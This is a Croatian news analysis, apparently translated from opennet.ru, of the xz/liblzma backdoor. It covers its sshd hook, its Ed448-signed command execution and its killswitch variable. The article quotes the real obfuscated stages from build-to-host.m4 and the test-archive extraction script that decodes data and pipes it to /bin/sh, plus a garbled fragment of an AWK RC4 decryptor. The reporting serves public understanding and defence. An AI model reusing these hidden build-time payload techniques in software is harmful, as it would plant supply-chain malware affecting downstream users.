Analiza logike aktivacije i rada zadnjeg koda u paketu xz.

Dostupni su preliminarni rezultati obrnjenog inženjeringa maliciozne datoteke objekta, ugrađene u liblzma, kao rezultat kampanje za promociju backdoora u paketu xz. Backdoor se odnosi samo na x86_64 sustave zasnovane na Linux jezgru i Glibc C knjižnici, u kojima se na sshd primjenjuje dodatni patch koji vezuje za libsystemd knjižnicu za podršku mehanizmu sd_notify. Prvotno se smatralo da backdoor omogućuje zaobilaženje autentifikacije u sshd i pristup sustavu putem SSH-a. Detaljnija analiza pokazala je da to nije slučaj i da backdoor omogućuje izvršavanje proizvoljnog koda u sustavu, ne ostavljajući tragove u sshd logovima.

Naime, funkcija RSA_public_decrypt koja se presreće backdoorom provjerava potpis domaćina koristeći fiksni Ed448 ključ, i u slučaju uspješne provjere izvršava kod poslan izvana pomoću funkcije system() u fazi prije rušenja privilegija od strane sshd procesa. Podaci koji sadrže kod za izvršavanje izvode se iz parametra „N“, poslanog u funkciju RSA_public_decrypt (polje „n“ iz strukture rsa_st, koja sadrži javni ključ poslan od strane vanjskog domaćina), kontroliraju se prema kontrolnoj sumi i dešifriraju pomoću unaprijed određenog ChaCha20 ključa u fazi prije verifikacije digitalnog potpisa Ed448.

Kao signal za aktivaciju backdoora u sshd koristi se standardni mehanizam razmjene host ključeva. Backdoor koristi to što OpenSSH certifikati uključuju javni ključ osobe koja je potpisala, i reagira samo na ključ pripremljen od strane napadača koji odgovara unaprijed određenom fiksnom Ed448 ključu. Ako verifikacija potpisa pomoću javnog ključa ne prođe ili ako se integritet podataka za izvršavanje ne potvrđuje, backdoor vraća kontrolu standardnim SSH funkcijama.

Budući da je zatvoreni ključ napadača nepoznat, nemoguće je implementirati provjernu funkciju koja bi omogućila neovlaštenim osobama da aktiviraju backdoor i razviju skener kompromitiranih domaćina u mreži. Istraživači su pripremili skriptu koja demonstrira tehniku umetanja javnog ključa s proizvoljnim sadržajem u certifikat OpenSSH koji se šalje od strane SSH klijenta, a koji će biti obrađen u presretnutoj backdoor funkciji RSA_public_decrypt.

Istraživači su također primijetili konstrukciju koja deaktivira b-backdoor (killswitch) na lokalnom sustavu kada je postavljena varijabla okruženja "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" prije pokretanja sshd-a.

Dodatno, može se primijetiti detaljna analiza shell konstrukcija korištenih za zamračivanje procesa vađenja objektne datoteke s b-backdoorom i njezinu zamjenu u biblioteci liblzma. Tijekom sastavljanja paketa xz iz skripte build-to-host.m4, pokrenut je kod koji je pronalazio među testnim datotekama arhiv bad-3-corrupt_lzma2.xz, zamjenjivao određene simbole, pretvarao ga u neokrečeni arhiv i vađa iz njega shell skriptu. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` … gl_[$1]_config='sed "r\n" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' gl_path_map='tr "\t \-_" "\t_\-"'

Dobivena shell skripta dijelovima je izvlačila iz sadržaja arhiva good-large_compressed.lzma još jednu shell skriptu, propuštajući određene sekvence pomoću komandi head i tail, te zamjenjujući simbole komandom tr. ####Hello#### # nekoliko binarnih bajtova ovdje, ali budući da je to komentar, oni se ignoriraju [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../..../config.status;then eval `grep ^srcdir= ../..../config.status` srcdir="../..../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh ####World####

Zbog toga se formirao dovoljno složen i obiman shell skript koji izdvaja direktno datoteku s backdoorom iz arhive good-large_compressed.lzma, dešifruje je i umetne u liblzma. Među ostalim, u skripti je postojala implementacija mehanizma dodataka, koja je omogućila naknadnu isporuku dodatnih izvršnih komponenti putem postavljanja novih testnih arhiva, ne menjajući good-large_compressed.lzma i bad-3-corrupt_lzma2.xz, već korišćenjem pretrage po potpisu. U kodu je takođe bio uključen dešifrirajući program zasnovan na RC4 algoritmu, implementiran na jeziku AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Izvor: opennet.ru

Kupite pouzdan hosting za web stranice s DDoS zaštitom, VPS VDS servere 🔥 Kupite pouzdan hosting za web stranice s DDoS zaštitom, VPS VDS servere | ProHoster